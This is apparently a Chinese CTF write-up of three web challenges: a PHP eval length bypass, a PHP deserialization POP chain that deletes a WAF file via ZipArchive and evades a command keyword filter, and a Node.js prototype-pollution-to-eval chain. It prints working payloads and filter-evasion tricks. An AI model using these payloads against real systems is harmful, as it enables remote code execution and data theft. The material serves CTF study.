1.Little_Trick
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>
Len=-1的时候可以绕过substr但会吞掉末尾最后一个字符
所以nep变量可以传入11个字符
试了system (ls);;可以看到目录下的文件名
但是cat的话就超过长度了
后来想到php可以用反引号执行命令,但试了下好像没有回显,但可以像 `>a` 这样创建文件
所以用nep= `cat *>a`然后访问目录下的a得到flag
2.梦里花开
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
get传参?a[]=1&b[]=2
pop链为unser=O:4:"Game":6:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";s:8:"register";s:5:"admin";s:4:"file";O:4:"Open":0:{}s:8:"filename";s:54:"php://filter/read=convert.base64-encode/resource=shell";s:7:"content";N;}
查看shell.php
<?php
//shell.php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
新学到,利用原生类ZipArchive中OVERWRITE方法删除waf.txt
//构造payload
<?php
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct() {
$this->username = "admin";
$this->password = "admin";
$this->register = "admin";
$this->file = new ZipArchive();
$this->filename = "waf.txt";
$this->content = ZipArchive::OVERWRITE;
}
public function __wakeup() {
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3") {
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
$game = new Game();
$game = serialize($game);
echo(base64_encode($game));
参考自https://huamang.xyz/index.php/archives/61/
构造成功后可以进行命令执行 用ca\t /flag
绕过检测
pop链理解:可以看出最后是要传game类过去,game类__wakeup方法绕过md5后可以实例化login类,__destruct的时候会执行login类中的checking()方法,可以看到,这时可以调用一个open()方法,这里要让file实例化为Open类对象,进而进入到Open类中的open()方法,开始时if为真,执行file_get_contents函数,可以借助php伪协议读到源码,删除waf后可以通过shell()函数执行命令
3.gamejs
var opn = require('opn');
var express = require('express');
var app = express();
var path = require('path');
var bodyParser = require('body-parser');
var highestScore = 40000;
var FUNCFLAG = '_$$ND_FUNC$$_';
var serialize_banner = '{"banner":"好,很有精神!"}';
var flag = {"flag":""} // flag是啥来着?记不清了。
function Record() {
this.lastScore = 0;
this.maxScore = 0;
this.lastTime = null;
}
var validCode = function (func_code){
let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
var validInput = function (input) {
let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;
ins = serialize(input);
return !validInput.test(ins);
};
var merge = function (target, source) {
try {
for (let key in source) {
if (typeof source[key] == 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
catch (e) {
console.log(e);
}
};
var serialize = function (obj, ignoreNativeFunc, outputObj, cache, path) {
path = path || '$';
cache = cache || {};
cache[path] = obj;
outputObj = outputObj || {};
if (typeof obj === 'string') {
return JSON.stringify(obj);
}
var key;
for (key in obj) {
if (obj.hasOwnProperty(key)) {
if (typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
outputObj[key] = FUNCFLAG + funcStr;
} else {
outputObj[key] = obj[key];
}
}
}
return JSON.stringify(outputObj);
};
var unserialize = function(obj) {
obj = JSON.parse(obj);
if (typeof obj === 'string') {
return obj;
}
var key;
for(key in obj) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
var func_code=obj[key].substring(FUNCFLAG.length);
if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}
}
}
}
return obj;
};
app.use(bodyParser());
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'views')));
app.use(function (req, res, next) {
if (validInput(req.body)) {
next();
} else {
res.status(403).send('Hacker!!!');
}
});
async function index(req, res) {
res.sendFile(path.resolve(__dirname, 'static/index.html'));
}
async function record(req, res, next) {
new Promise(function (resolve, reject) {
var record = new Record();
var score = req.body.score;
if (score.length < String(highestScore).length) {
merge(record, {
lastScore: score,
maxScore: Math.max(parseInt(score),record.maxScore),
lastTime: new Date().toString()
});
highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
if ((score - highestScore) < 0) {
var banner = "不好,没有精神!";
} else {
var banner = unserialize(serialize_banner).banner;
}
}
res.json({
banner: banner,
record: record
});
}).catch(function (err) {
next(err)
})
}
app.post('/record', record);
app.get('/', index);
app.get('/source', function (req, res) {
opn('app.js').then(() => {
res.sendFile(path.join(__dirname, 'app.js'));
});
})
app.use(function (err, req, res, next) {
console.log(err.stack);
res.status(500).send('Some thing broke!')
});
app.listen('3000');
merge函数可以进行原型链污染
可以看到数据从/record路由下传入
var score = req.body.score;
if (score.length < String(highestScore).length)
绕过可以传score的时候构造length=1
之后应该要执行反序列化函数unserialize
if ((score - highestScore) < 0) {
var banner = "不好,没有精神!";
} else {
var banner = unserialize(serialize_banner).banner;
}
}
这里因为后面传的score为json做减法结果为NAN直接就绕过了,执行else
var unserialize = function(obj) {
obj = JSON.parse(obj);
if (typeof obj === 'string') {
return obj;
}
var key;
for(key in obj) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
var func_code=obj[key].substring(FUNCFLAG.length);
if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}
}
}
}
return obj;
};
可以看到unserialize函数中有eval,可以执行命令,其中命令要以FUNCFLAG = '_$$ND_FUNC$$_'
开头
这里因为没过滤\
所以可以直接各种绕过,参考博客的大佬用的十六进制绕过(非预期)
{"score": {"__proto__": {"__proto__": {"abc": "_$$ND_FUNC$$XXXPAYLAOD"}}, "length": 1}}
分析+尝试可以发现,要打到object类中需要构造两层proto
官方wp说\node_modules\opn\index.js下可以调用opn函数将payload写入tmp目录然后bash执行,但当时根本没注意那个js文件,也没有download下来,所以先不考虑了